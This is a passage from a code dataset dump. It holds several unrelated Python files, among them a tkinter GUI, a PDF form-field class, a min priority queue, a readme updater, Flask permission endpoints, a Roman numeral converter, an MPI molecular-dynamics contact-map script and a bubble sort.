10),\n # fg=\"#ffffff\", justify=\"right\") # 创建标签\n # # label_text.bind(\"\", self.motion_handle) # 鼠标左键拖动\n # self.label_text.pack() # 组件显示\n\n def MoveComponent(self,event):\n self.move_canvas.place(x=event.x_root, y=event.y_root) \t\t\t# 组件重新定位\n def RightClickMenu(self,event):\n self.menu = tkinter.Menu(self.canvas_write)\n self.menu.add_cascade(label='旋转')\n self.menu.post(event.x_root, event.y_root)\n def doubleClick(self,event):\n ComponentInfo.showComponent_info()\n # result = tkinter.messagebox.askokcancel(title='信息',message='111111')\n\n\n\n\n def creat_resistor(self):\n self.photo_R = tkinter.PhotoImage(file=RESISTOR_PATH) # 电阻\n self.label_R = tkinter.Label(self.canvas_write, image=self.photo_R) # 标签\n self.label_R.bind(\"\", self.motion_handle) # 鼠标左键拖动\n self.label_R.pack(side='left', expand='no', anchor='nw', padx=5, pady=5) # 显示标签\n\n def creat_inductor(self):\n self.photo_I = tkinter.PhotoImage(file=INDUCTOR_PATH) # 电感\n self.label_I = tkinter.Label(self.canvas_write, image=self.photo_I) # 标签\n self.label_I.bind(\"\", self.motion_handle) # 鼠标左键拖动\n self.label_I.pack(side='left', expand='no', anchor='nw', padx=5, pady=5) # 显示标签\n\n def creat_capcitor(self):\n self.photo_C = tkinter.PhotoImage(file=CAPACITOR_PATH) # 电容\n self.label_C = tkinter.Label(self.canvas_write, image=self.photo_C) # 标签\n self.label_C.bind(\"\", self.motion_handle) # 鼠标左键拖动\n self.label_C.pack(side='left', expand='no', anchor='nw', padx=5, pady=5) # 显示标签\n\n def motion_handle(self, event): # 事件处理函数\n self.label.place(x=event.x_root, y=event.y_root) # 组件重新定位\n\n def event_handle(self, event): # 事件处理函数\n input_message = tkinter.simpledialog.askstring(\"提示信息\", \"请输入要显示的信息:\")\n\n label_text = tkinter.Label(self.canvas_write, text=input_message,bg=\"#223011\", font=(\"微软雅黑\", 10),\n fg=\"#ffffff\", justify=\"right\") # 创建标签\n label_text.pack() # 组件显示\n def create_menu(self): # 创建菜单\n self.menu = tkinter.Menu(self.root) # 创建菜单\n self.file_menu = tkinter.Menu(self.menu, tearoff=False) # 创建子菜单\n self.file_menu.add_command(label=\"打开\", command=self.menu_handle) # 菜单项\n self.file_menu.add_command(label=\"保存\", command=self.menu_handle) # 菜单项\n self.file_menu.add_separator() # 分割线\n self.file_menu.add_command(label=\"关闭\", command=self.root.quit) # 菜单项\n self.menu.add_cascade(label=\"文件\", menu=self.file_menu) # 追加子菜单\n self.edit_menu = tkinter.Menu(self.menu, tearoff=False) # 创建子菜单\n self.edit_menu.add_command(label=\"剪切\", command=self.menu_handle) # 菜单项\n self.edit_menu.add_command(label=\"复制\", command=self.menu_handle) # 菜单项\n self.edit_menu.add_command(label=\"粘贴\", command=self.menu_handle) # 菜单项\n self.edit_menu.add_separator() # 分割线\n self.edit_menu.add_command(label=\"设置\", command=self.menu_handle) # 菜单项\n self.menu.add_cascade(label=\"编辑\", menu=self.edit_menu) # 追加子菜单\n self.root.config(menu=self.menu) # 菜单显示\n self.pop_menu = tkinter.Menu(self.root, tearoff=False) # 弹出式菜单\n self.pop_menu.add_command(label=\"未处理的label\", command=self.menu_handle) # 菜单项\n self.pop_menu.add_command(label=\"未处理的label\", command=self.menu_handle) # 菜单项\n self.root.bind(\"\", self.popup_handle) # 绑定事件\n def menu_handle(self): # 菜单处理\n # self.frame_show_combobox = tkinter.Frame(self.canvas_write, height=50, width=80, bg=\"yellow\") # 创建Frame\n tkinter.Label(self.canvas_write, text=\"请选择器件:\", font=(\"微软雅黑\", 12),\n justify=\"left\").grid(row=0, column=0, sticky=tkinter.W) # 显示标签\n equ_tuple = (\"电阻\", \"电容\", \"电感\", \"断路\", \"短路\") # 下拉项\n self.equ_combobox = tkinter.ttk.Combobox(self.canvas_write, height=5, width=15, values=equ_tuple) # 列表项\n self.equ_combobox.bind(\"<>\", self.show_data) # 选项改变\n self.equ_combobox.grid(row=0, column=1) # 显示组件\n\n def popup_handle(self, event): # 事件处理\n self.pop_menu.post(event.x_root, event.y_root) # 菜单弹出\n\n\n #窗体关闭监听\n def close_handle(self): # 事件处理函数\n if tkinter.messagebox.askyesnocancel(\"程序关闭确认\", \"这么好的程序真舍得关闭吗??\"):\n self.root.destroy() # 关闭程序\n\ndef main():\t\t\t\t\t\t\t# 主函数\n MainForm()\t\t\t\t\t\t\t# 显示主窗体\n\nif __name__ == \"__main__\": \t\t\t\t\t# 判断执行名称\n main()\t\t\t\t\t\t\t# 调用主函数\n\n\n\n","sub_path":"3/test_PyQt5/test_02/my_canvas.py","file_name":"my_canvas.py","file_ext":"py","file_size_in_byte":25340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"18967438","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis implementation of LayoutElement acts as a common base class to form fields.\n\"\"\"\nimport typing\n\nfrom borb.io.read.types import Dictionary, List, Name\nfrom borb.pdf.canvas.font.font import Font\nfrom borb.pdf.canvas.layout.layout_element import LayoutElement\nfrom borb.pdf.page.page import Page\n\n\nclass FormField(LayoutElement):\n \"\"\"\n This implementation of LayoutElement acts as a common base class to form fields.\n \"\"\"\n\n def _get_auto_generated_field_name(self, page: Page) -> str:\n number_of_fields: int = 0\n acroform_dict: Dictionary = page.get_root()[\"XRef\"][\"Trailer\"][\"Root\"].get(\n \"AcroForm\", Dictionary()\n )\n stk: typing.List[typing.Union[Dictionary, List]] = [acroform_dict]\n exp: typing.List[int] = []\n while len(stk) > 0:\n d = stk.pop()\n if id(d) in exp:\n continue\n exp.append(id(d))\n if isinstance(d, Dictionary):\n if \"Type\" in d and \"Subtype\" in d and \"FT\" in d:\n number_of_fields += 1\n for k, v in d.items():\n if isinstance(v, Dictionary):\n stk.append(v)\n if isinstance(v, List):\n stk.append(v)\n if isinstance(d, List):\n for c in d:\n stk.append(c)\n return \"Field %d\" % (number_of_fields + 1)\n\n def _get_font_resource_name(self, font: Font, page: Page):\n # create resources if needed\n if \"Resources\" not in page:\n page[Name(\"Resources\")] = Dictionary().set_parent(page) # type: ignore [attr-defined]\n if \"Font\" not in page[\"Resources\"]:\n page[\"Resources\"][Name(\"Font\")] = Dictionary()\n\n # insert font into resources\n font_resource_name = [\n k for k, v in page[\"Resources\"][\"Font\"].items() if v == font\n ]\n if len(font_resource_name) > 0:\n return font_resource_name[0]\n else:\n font_index = len(page[\"Resources\"][\"Font\"]) + 1\n page[\"Resources\"][\"Font\"][Name(\"F%d\" % font_index)] = font\n return Name(\"F%d\" % font_index)\n","sub_path":"lamda-ocr/merge-files/borb/pdf/canvas/layout/forms/form_field.py","file_name":"form_field.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"129556823","text":"\"\"\"\n +--------------+----------------------------------------+\n | Execution: | $ python3 min_PQ.py [shellsST.txt] |\n +--------------+----------------------------------------+\n | Data File: | shellsST.txt |\n +--------------+----------------------------------------+\n | Data: | she sells sea shells by the sea shore |\n +--------------+----------------------------------------+\n\nImplementation of a min priority queue of generic keys. It supports the \nfollowing operations:\n\nsize()\n Return the number of keys in this queue.\n\nis_empty()\n Check whether this Queue is empty or not.\n\ncontains(key):\n Check whether this Queue contains the given key or not.\n\nadd(key)\n Add the given key to this queue.\n\ndelete_min()\n remove and return the smallest key from this queue.\n\ndelete(key)\n Removes the given key from the priority queue.\n\nmin_key()\n Return the smallest key from this queue without removing it.\n\nmin_index()\n Return the index associated with minimum key.\n\nkey_of(i)\n Return the key associated with the given index, i.\n\nchange_key(old_key, new_key)\n Replace the old_key by the new_key and then reheapify this queue.\n\ndecrease_key(key)\n Decreases the value of the key if it is in the priority queue.\n\nincrease_key(key)\n Increases the value of the key if it is in the priority queue.\n\nis_min_heap()\n It checks the representational invariant of this Queue.\n\"\"\"\n\nfrom string import ascii_uppercase\nfrom random import choice, randrange\nimport sys\n\n\nclass MinPQ:\n \"\"\" Implementation of a min priority queue of generic keys.\n\n This class provides basic functionality of a min priority queue of\n generic key which uses a binary heap abstraction. It includes a map of \n keys to their indices in the heap so that key lookup is constant time and \n decrease_key(key), increase_key(key), change_key(key) is O(log n) time.\n \"\"\"\n\n def __init__(self):\n \"\"\" Initializes the priority queue.\n \"\"\"\n self.pq = [None] # To make the index 1-based.\n self.key_index = {} # key to index mapping.\n\n def size(self):\n \"\"\" Return the number of keys in this queue.\n \"\"\"\n return len(self.pq) - 1\n\n def is_empty(self):\n \"\"\" Check whether this Queue is empty or not.\n \"\"\"\n return self.size() == 0\n\n def contains(self, key):\n \"\"\" Check whether this Queue contains the given key or not.\n \"\"\"\n return key in self.key_index\n\n def add(self, key):\n \"\"\"Adds a key into the priority queue.\n \"\"\"\n self.pq.append(key)\n self.key_index[key] = len(self)\n self._swim(len(self))\n\n def delete_min(self):\n \"\"\"Removes and returns the minimum key.\n \"\"\"\n if self.is_empty():\n\t return None\n self._swap(1, len(self))\n min = self.pq.pop()\n del self.key_index[min]\n self._sink(1)\n return min\n\n def decrease_key(self, key):\n \"\"\" Decreases the value of the key if it is in the priority queue.\n\t \n Args:\n\t key -> the key to be deccreased.\n Notes:\n key must not be built-in mutable object\n \"\"\"\n if not self.contains(key):\n raise KeyError(\"The given key is not in the queue\")\n # index refers to 'len(self)' whis is already in 'key_index = {}'.\n index = self.key_index[key]\n if index:\n self._swim(index)\n\n def increase_key(self, key):\n \"\"\" Increases the value of the key if it is in the priority queue.\n \n\t Args:\n\t key -> the key to be increased.\n Notes:\n key must not be built-in mutable object\n \"\"\"\n if not self.contains(key):\n raise KeyError(\"The given key is not in the queue\")\n index = self.key_index[key]\n if index:\n self._sink(index)\n\n def change_key(self, old_key, new_key):\n \"\"\" Replace the old_key by the new_key and then reheapify this queue.\n \n\t Args:\n\t old_key -> the key to be replaced by new key.\n\t new_key -> the key by which old_key is to be replaced.\n \"\"\"\n if not self.contains(old_key):\n raise KeyError(\"The given key is not in the queue\")\n index = self.key_index[old_key]\n del self.key_index[old_key]\n self.pq[index] = new_key\n self.key_index[new_key] = index\n self._sink(index)\n self._swim(index)\n\n def delete(self, key):\n \"\"\" Removes the given key from the priority queue.\n \"\"\"\n if not self.contains(key):\n raise KeyError(\"The given key is not in the queue\")\n\n index = self.key_index[key]\n del self.key_index[key]\n self._swap(index, len(self.pq))\n self.pq.pop()\n self._sink(index)\n\n def min_key(self):\n \"\"\" Return the smallest key from this queue without removing it.\n \"\"\"\n if self.is_empty():\n\t raise RuntimeError(\"PQ Underflowed\")\n return self.pq[1]\n\n def min_index(self):\n \"\"\" Return the index associated with minimum key.\n \"\"\"\n if self.is_empty():\n\t raise RuntimeError(\"PQ Underflowed\")\n return self.key_index[self.pq[1]]\n\n def key_of(self, i):\n \"\"\" Return the key associated with the given index, i. \n \n\t Args:\n\t i -> the index of which key is to be returned\n \"\"\"\n if i < 0 and i > self.size():\n\t raise IndexError(\"index out of range\")\n return self.pq[i]\n\n def keys_inorder(self):\n \"\"\" Return the keys of this PQ following in-order traversal.\n\n Returns:\n an iterable containing all the keys of this priority queue.\n \"\"\"\n keys = []\n q = self._copy()\n for i in range(q.size()):\n\t keys.append(q.delete_min())\n return keys\n\n def _copy(self):\n q = MinPQ()\n for i in range(1, self.size() + 1):\n\t q.add(self.pq[i])\n return q\n\n #--------------------------- Helper functions: ---------------------------#\n\n def _swim(self, k):\n \"\"\" Percolate the element at given index up. \n \n Args:\n\t k -> the index of a element into the priority queue.\n \"\"\"\n while (k > 1 and self._greater(k // 2, k)):\n\t self._swap(k // 2, k)\n\t k = k // 2\n\n def _sink(self, k):\n \"\"\" Percolate the element at given index down. \n \n\t Args:\n\t k -> the index of a element into the priority queue.\n \"\"\"\n while(2*k <= self.size()):\n\t j = 2*k\n\t if j < self.size() and self._greater(j, j+1):\n\t\t j += 1\n\t if not self._greater(k, j):\n\t\t break\n\t self._swap(j, k)\n\t k = j\n\n def _smaller(self, i, j):\n \"\"\" Compare the order of the keys at the given indices\n \n Args:\n \t i - the index of the key to be compared.\n \t j - the index of the key to be compared.\n \"\"\"\n return self.pq[i] < self.pq[j]\n\n def _greater(self, i, j):\n \"\"\" Compare the order of the keys at the given indices \n \n\t Args:\n\t i - the index of the key to be compared.\n\t j - the index of the key to be compared.\n \"\"\"\n return self.pq[i] > self.pq[j]\n\n def _swap(self, i, j):\n \"\"\" Swaps the key at indices i and j and updates the key to index map.\n \"\"\"\n self.pq[i], self.pq[j] = self.pq[j], self.pq[i]\n self.key_index[self.pq[i]], self.key_index[self.pq[j]] = i, j\n\n def check_ri(self):\n pq = self.pq\n i = 1\n while i <= (len(pq) - 1) // 2:\n l = i * 2\n if pq[i] > pq[l]:\n raise ValueError('Left child is smaller than parent.')\n r = i * 2 + 1\n if r < len(pq) and pq[i] > pq[r]:\n raise ValueError('Right child is smaller than parent.')\n i += 1\n\n for key, index in self.key_index.items():\n if self.pq[index] is not key:\n raise ValueError('Key index mapping is wrong.')\n\n #************************ Python Special Methods: ************************#\n def __len__(self):\n return len(self.pq) - 1\n\n def __getitem__(self, i):\n return self.pq[i]\n\n def __setitem__(self, i, key):\n self.pq[i] = key\n #********************* End of Python Special Methods *********************#\n\n\n#----------------------------- Utility Functions: ----------------------------#\ndef read_data_file(file, container):\n with open(file, encoding=\"utf-8\") as f: # Open the file\n\n index = 0\n while True:\n line = f.readline()\n if not line:\n break # line is empty so exit\n for word in line.split():\n container.add(word)\n index += 1\n\n\ndef load_data(collection, container):\n if type(collection) is str:\n read_data_file(collection, container)\n elif type(collection) is list:\n for item in collection:\n container.add(item)\n\n\ndef display(PQ, data):\n\n R = randrange(0, len(PQ))\n true_or_false = PQ.contains(R)\n key = PQ.key_of(R)\n print(f\"\"\"\\t{\"size(): \"} \\t{PQ.size()}\"\"\")\n print(f\"\"\"\\t{\"is_empty(): \"} \\t{PQ.is_empty()}\"\"\")\n print(\"\\tcontains({0}): \\t{1}\".format(R, true_or_false))\n print(\"\\tkey_of({0}): \\t{1}\".format(R, key))\n print(f\"\"\"\\t{\"min_key(): \"} \\t{PQ.min_key()}\"\"\")\n print(f\"\"\"\\t{\"min_index(): \"} \\t{PQ.min_index()}\"\"\")\n print(\"\\tThe keys in the PQ (in-order): \")\n\n for i in range(len(PQ)):\n key = PQ.delete_min()\n print(f\"\\t\\t{key}\")\n\n #--------- End of Utility Functions: ---------#\n\n\n#****************************************************************************#\n#***************************** unittest of ST: ******************************#\ndef test_MinPQ(data):\n PQ = MinPQ()\n load_data(data, PQ)\n\n print('*'*20, 'Before Mutation: ', '*'*20)\n display(PQ, data)\n\n for i in range(len(data)):\n PQ.add(choice(ascii_uppercase))\n\n print('*'*20, 'After Mutation: ', '*'*20)\n display(PQ, data)\n #*********** End of unittest of ST: ***********#\n\n\nif __name__ == '__main__':\n\n colors = [\"RED\", \"GREEN\",\n \"BLACK\", \"BLUE\",\n \"WHITE\", \"PINK\",\n \"YELLOW\", \"CYAN\",\n \"MAGENTA\", \"GRAY\",\n \"BISQUE\", \"AZURE\",\n \"AQUA\", \"BEIGE\"]\n\n if len(sys.argv) > 1:\n \ttest_MinPQ(sys.argv[1])\n else:\n \ttest_MinPQ(colors)\n","sub_path":"Heaps/min_PQ.py","file_name":"min_PQ.py","file_ext":"py","file_size_in_byte":10593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"635011434","text":"import datetime\nimport os\nimport sys\nfrom configparser import ConfigParser\nfrom shutil import copyfile\nfrom datetime import datetime, timedelta\n\nREAD_ME_PATH = '..\\\\readme.md'\nDAILY_LOG_PATH = '..\\\\daily_log.md'\nBACKUP_READ_ME_PATH = '..\\\\readme.md_{0}_{1}.bak'\nSTREAK_SEARCH_VAL = 'Current Daily Streak'\nCURRENT_STREAK_SEARCH_DATE_VAL = 'Current Streak Dates'\nLAST_STREAK_SEARCH_DATE_VAL = 'Last Streak Dates'\nPROJECT_END_SEARCH_STR = ''\nDATE_FORMAT_STR=\"%m/%d/%Y\"\n\n'''\nA quick and dirty script to update readme and dailylog\n'''\nclass ReadMeUpdater():\n def __init__(self, config_file_path='config.ini'):\n try:\n if not os.path.exists(config_file_path):\n raise FileNotFoundError(config_file_path)\n\n if not os.path.exists(READ_ME_PATH):\n raise FileNotFoundError(READ_ME_PATH)\n\n self.config = ConfigParser()\n self.config.read(config_file_path)\n self.lines = None\n with open(READ_ME_PATH, 'r') as file_handler:\n self.lines = file_handler.readlines()\n \n day_number = datetime.today().day\n min_number = datetime.today().minute\n copyfile(READ_ME_PATH, BACKUP_READ_ME_PATH.format(day_number, min_number))\n \n self.search_terms = []\n self.search_index = {}\n\n self.__build_search_terms()\n self.__build_search_index()\n except Exception as e:\n print('Something went while reading configurations', str(e))\n sys.exit()\n\n def __build_search_index(self):\n for i, elem in enumerate(self.lines):\n for term in self.search_terms:\n if term in elem:\n self.search_index[term] = i\n\n def __build_search_terms(self):\n update_streak = self.config['StreakSection'].getboolean('UpdateStreak')\n streak_broken = self.config['StreakSection'].getboolean('StreakBroken')\n if update_streak:\n self.search_terms.append(STREAK_SEARCH_VAL)\n self.search_terms.append(CURRENT_STREAK_SEARCH_DATE_VAL)\n if streak_broken:\n self.search_terms.append(LAST_STREAK_SEARCH_DATE_VAL)\n update_project = self.config['ProjectUpdateSection'].getboolean('UpdateProject')\n if update_project:\n project_section = self.config.get('ProjectUpdateSection', 'Section')\n self.search_terms.append(PROJECT_END_SEARCH_STR.format(project_section))\n\n def __increment_streak_line(self, streak_line, streak_date_line, streak_broken):\n lst = streak_line.split('|')\n if not streak_broken:\n seq_no = int(lst[2]) + 1\n streak_dates_str = streak_date_line.split('|')\n date_list = streak_dates_str[2].split('-')\n date_obj0 = datetime.strptime(date_list[0].strip(), DATE_FORMAT_STR)\n date_obj1 = datetime.strptime(date_list[1].strip(), DATE_FORMAT_STR)\n delta = (date_obj1 - date_obj0).days + 1\n assert delta == seq_no, F\"Delta {delta}, seq:{seq_no}, date1: {date_obj0}, date2: {date_obj1}\"\n else:\n seq_no = 1\n lst[2] = F' {seq_no} '\n return '|'.join(lst)\n \n def __increment_streak_date_line(self, line, streak_broken):\n lst = line.split('|')\n date_list = lst[2].split('-')\n todays_date = datetime.now().strftime(DATE_FORMAT_STR)\n if not streak_broken:\n date_obj = datetime.strptime(date_list[1].strip(), DATE_FORMAT_STR)\n date_obj += timedelta(days=1) \n new_date = date_obj.strftime(DATE_FORMAT_STR)\n assert todays_date == new_date, F'Todays date: {todays_date}, new date: {new_date}'\n date_list[1] = F' {new_date} '\n else:\n date_list[0] = F' {todays_date} '\n date_list[1] = F' {todays_date} '\n lst[2] = '-'.join(date_list)\n return '|'.join(lst)\n\n def __reset_last_streak_date_line(self, last_streak, cur_streak):\n lst = last_streak.split('|')\n cur = cur_streak.split('|')\n cur_date_list = cur[2].split('-')\n lst_date_list = lst[2].split('-')\n lst_date_list[0] = cur_date_list[0]\n lst_date_list[1] = F' {(datetime.now() - timedelta(2)).strftime(DATE_FORMAT_STR)} '\n lst[2] = '-'.join(lst_date_list)\n return '|'.join(lst)\n\n def _get_next_proj_seq_no(self, section):\n index = self.search_index[PROJECT_END_SEARCH_STR.format(section)]\n prev_proj_line = self.lines[index-1]\n seq_no_elements = prev_proj_line.split('|')[1].split('.')\n seq_no = int(seq_no_elements[0]) + 1\n return seq_no\n\n def __build_project_string(self):\n update_project = self.config['ProjectUpdateSection'].getboolean('UpdateProject')\n if not update_project:\n return\n proj_section = self.config.get('ProjectUpdateSection', 'Section')\n index = self.search_index[PROJECT_END_SEARCH_STR.format(proj_section)]\n proj_name = self.config.get('ProjectUpdateSection', 'Project')\n proj_desc = self.config.get('ProjectUpdateSection', 'Description')\n proj_notebook = self.config.get('ProjectUpdateSection', 'Notebook')\n proj_notes = self.config.get('ProjectUpdateSection', 'Notes')\n seq_no = self._get_next_proj_seq_no(proj_section) \n line = F\"|{seq_no}.| {proj_name} | {proj_desc} | {proj_notebook} | {proj_notes} |\\n\"\n return (index, line)\n\n def update_streak_stats(self):\n update_streak = self.config['StreakSection'].getboolean('UpdateStreak')\n streak_broken = self.config['StreakSection'].getboolean('StreakBroken')\n if not update_streak:\n return\n cur_streak_date_line = self.lines[self.search_index[CURRENT_STREAK_SEARCH_DATE_VAL]]\n cur_streak_line = self.lines[self.search_index[STREAK_SEARCH_VAL]]\n new_last_streak_date_line = \"\"\n if streak_broken:\n last_streak_date_line = self.lines[self.search_index[LAST_STREAK_SEARCH_DATE_VAL]]\n new_last_streak_date_line = self.__reset_last_streak_date_line(last_streak_date_line, cur_streak_date_line)\n self.lines[self.search_index[LAST_STREAK_SEARCH_DATE_VAL]] = new_last_streak_date_line\n new_cur_streak_date_line = self.__increment_streak_date_line(cur_streak_date_line, streak_broken)\n new_cur_streak_line = self.__increment_streak_line(cur_streak_line, new_cur_streak_date_line, streak_broken)\n self.lines[self.search_index[CURRENT_STREAK_SEARCH_DATE_VAL]] = new_cur_streak_date_line\n self.lines[self.search_index[STREAK_SEARCH_VAL]] = new_cur_streak_line\n \n def add_new_project(self):\n update_project = self.config['ProjectUpdateSection'].getboolean('UpdateProject')\n if not update_project:\n return\n index, new_proj_line = self.__build_project_string()\n self.lines.insert(index, new_proj_line)\n \n\n def print_search_index(self):\n for k,v in self.search_index.items():\n print (k, \":\", v)\n\n def save_readme(self, path=READ_ME_PATH):\n with open(path, 'w') as file_handler:\n file_handler.writelines(self.lines)\n\n def update_daily_log(self, path=DAILY_LOG_PATH):\n update_daily_log = self.config['DailyLogSection'].getboolean('UpdateDailyLog')\n if not update_daily_log:\n return\n notes = self.config.get('DailyLogSection', 'Notes')\n date = datetime.now().strftime('%d %B %Y')\n new_line = F'| {date} | {notes} |\\n'\n with open(path, 'a') as file_handler:\n file_handler.write(new_line)\n \n\n\n# readMeUpdater = ReadMeUpdater()\n# readMeUpdater.print_search_index()\n# readMeUpdater.update_streak_stats()\n# readMeUpdater.add_new_project()\n# readMeUpdater.save_readme('readme2.md')\nreadMeUpdater.update_daily_log()\n\n\n\n\n\n","sub_path":"scripts/update_readme.py","file_name":"update_readme.py","file_ext":"py","file_size_in_byte":7909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"206621242","text":"# -*- coding: utf-8 -*-\nimport logging\nfrom flask import jsonify, request\nimport flask_login\nfrom mediacloud.error import MCException\n\nfrom server import app\nfrom server.util.request import form_fields_required, json_error_response, api_error_handler\nfrom server.auth import user_admin_mediacloud_client\n\nlogger = logging.getLogger(__name__)\n\n@app.route('/api/topics//permissions/list', methods=['GET'])\n@flask_login.login_required\n@api_error_handler\ndef topic_permissions_list(topics_id):\n user_mc = user_admin_mediacloud_client()\n results = user_mc.topicPermissionsList(topics_id)\n return jsonify(results)\n\n@app.route('/api/topics//permissions/update', methods=['PUT'])\n@form_fields_required('email', 'permission')\n@flask_login.login_required\n@api_error_handler\ndef topic_update_permission(topics_id):\n email = request.form[\"email\"]\n permission = request.form[\"permission\"]\n if permission not in ['read', 'write', 'admin', 'none']:\n return json_error_response('Invalid permission value')\n user_mc = user_admin_mediacloud_client()\n try:\n results = user_mc.topicPermissionsUpdate(topics_id, email, permission)\n except MCException as e:\n # show a nice error if they type the email wrong\n if 'Unknown email' in e.message:\n return jsonify({'success': 0, 'results': e.message})\n return jsonify({'success': 1, 'results': results})\n","sub_path":"server/views/topics/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"480528520","text":"ZEROES = {\"M\": 1000, \"C\": 100, \"X\": 10, \"I\": 1}\nFIVES = {\"C\": \"D\", \"X\": \"L\", \"I\": \"V\"}\nNINES = {\"C\": \"CM\", \"X\": \"XC\", \"I\": \"IX\"}\nFOURS = {\"C\": \"CD\", \"X\": \"XL\", \"I\": \"IV\"}\n\ndef checkio(data):\n out = \"\"\n for k, v in ZEROES.items():\n if data % v != data:\n period = data // v\n if period == 4: out += FOURS[k]\n elif period == 9: out += NINES[k]\n elif 4 < period < 9: out += FIVES[k] + (k * (period % 5))\n else: out += (k * (data // v))\n data = data % v\n return out\n\n\nif __name__ == '__main__':\n assert checkio(6) == 'VI', '6'\n assert checkio(76) == 'LXXVI', '76'\n assert checkio(499) == 'CDXCIX', '499'\n assert checkio(3888) == 'MMMDCCCLXXXVIII', '3888'\n print('Done! Go Check!')\n","sub_path":"Electronic Station/Roman Numerals/mission.py","file_name":"mission.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"259806763","text":"import os\nimport tables\nfrom mpi4py import MPI\nimport MDAnalysis as mda\nfrom MDAnalysis.analysis import distances\nfrom itertools import chain\nfrom scipy.optimize import brute\n\ndef best_loop(nloops, nframes, nranks):\n return abs(nframes - nframes//(nranks*nloops)*(nranks*nloops))\n\ncomm = MPI.COMM_WORLD\nsize = comm.Get_size()\nrank = comm.Get_rank()\nloop_range = slice(1000,2000,1)\n\ndef contact_maps_from_traj(pdb_file, traj_file, savefile, contact_cutoff=8.0):\n \"\"\"\n Get contact map from trajectory.\n \"\"\"\n \n mda_traj = mda.Universe(pdb_file, traj_file)\n traj_length = len(mda_traj.trajectory) \n nloops = int(brute(best_loop, (loop_range,), args=(traj_length, size), finish=None))\n print(\"traj_length: %d nloop: %d\"%(traj_length, nloops))\n write_freq = nloops // 5\n ca = mda_traj.select_atoms('name CA')\n dist_shape = distances.self_distance_array(ca.positions).shape[0]\n \n if rank == 0:\n savefile = os.path.abspath(savefile)\n outfile = tables.open_file(savefile, 'w')\n atom = tables.Int8Atom()\n cm_table = outfile.create_earray(outfile.root, 'contact_maps', atom, shape=(0, dist_shape)) \n print(\"dist_shape \", dist_shape)\n contact_matrices = []\n # workaround mpi4py 2^32 limit on number of objects\n # and ib memory size limit \n for loop in range(nloops): \n contact_matrices_loop = []\n \n nframes = traj_length//(size*nloops)\n start = (rank+loop*size)*nframes\n end = (rank+1+loop*size)*nframes \n if loop == nloops -1 and rank == size - 1:\n end = traj_length\n print(\"loop %d rank %d start %d end %d\"%(loop, rank, start, end))\n for frame in mda_traj.trajectory[start:end]:\n cm_matrix = (distances.self_distance_array(ca.positions) < contact_cutoff) * 1.0\n contact_matrices_loop.append(cm_matrix.astype('int8'))\n print(\"rank %d cm size %d\"%(rank, len(contact_matrices_loop))) \n contact_matrices_loop = comm.gather(contact_matrices_loop, root=0) \n if rank == 0:\n contact_matrices.append(list(chain.from_iterable(contact_matrices_loop)))\n print(\"loop %d \"%loop, len(contact_matrices_loop), len(contact_matrices_loop[0])) \n if (loop+1) % write_freq == 0:\n contact_matrices = list(chain.from_iterable(contact_matrices))\n cm_table.append(contact_matrices)\n contact_matrices = []\n comm.Barrier()\n if rank == 0:\n if len(contact_matrices) > 0:\n contact_matrices = list(chain.from_iterable(contact_matrices))\n cm_table.append(contact_matrices)\n outfile.close() \n\n","sub_path":"MD_exps/MD_utils/contact_maps_mpi.py","file_name":"contact_maps_mpi.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"245969916","text":"l1 = []\nprint('Enter the numbers, when you finish typing enter \"stop\"')\n\nwhile True:\n d = input()\n if d == 'stop':\n break\n else:\n b = float(d)\n l1.append(b)\n\n\ndef sort_up(x):\n c = len(x)\n for z in range(1, c):\n for i in range(1, c):\n if x[i] < x[i-1]:\n zx = x[i]\n x[i] = x[i-1]\n x[i-1] = zx\n return x\n\n\ndef sort_down(x):\n c = len(x)\n for z in range(1, c):\n for i in range(1, c):\n if x[i] > x[i-1]:\n zx = x[i]\n x[i] = x[i-1]\n x[i-1] = zx\n return x\n\n\ndef sort_abs_up(x):\n c = len(x)\n for z in range(1, c):\n for i in range(1, c):\n if abs(x[i]) < abs(x[i - 1]):\n zx = x[i]\n x[i] = x[i - 1]\n x[i - 1] = zx\n return x\n\n\ndef sort_abs_down(x):\n c = len(x)\n for z in range(1, c):\n for i in range(1, c):\n if abs(x[i]) > abs(x[i - 1]):\n zx = x[i]\n x[i] = x[i - 1]\n x[i - 1] = zx\n return x\n\n\nprint('Write type of sort you need (sort, sort down, sort abs, sort abs down)')\n\n\nwhile True:\n xx = input()\n if xx == 'stop':\n break\n elif xx == 'sort':\n print(sort_up(l1))\n elif xx == 'sort down':\n print(sort_down(l1))\n elif xx == 'sort abs':\n print(sort_abs_up(l1))\n elif xx == 'sort abs down':\n print(sort_abs_down(l1))\n\n\ndef my_bins(x, y):\n i = len(l1)\n i //= 2\n if len(l1) == 1 and l1[i] != x:\n return False\n if l1[i] == x:\n return True\n if l1[i] < x:\n print(l1[i])\n return my_bins(l1[i:], x)\n print(l1[i])\n return my_bins(l1[:i], x)\n\n\nprint('What number you want to find')\ny = input()\nprint(my_bins(l1, y))","sub_path":"bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"541691295","text":"import Reader\nimport datamaths\n\nfile1 = \"Corr Factor (D) Visible PMT_test_.txt\"\nfile2 = \"modified.txt\"\n\nfiles = [file1, file2]\ndataset = []\n\n\ndef getreader(filename):\n read = Reader.scan_to_dict(filename)\n data = [read[\"data\"][0][0], read[\"data\"][0][1]]\n dataset.append(data)\n\n\ndef main():\n for file in files:\n getreader(file)\n datamaths.scale_scan(dataset[0], 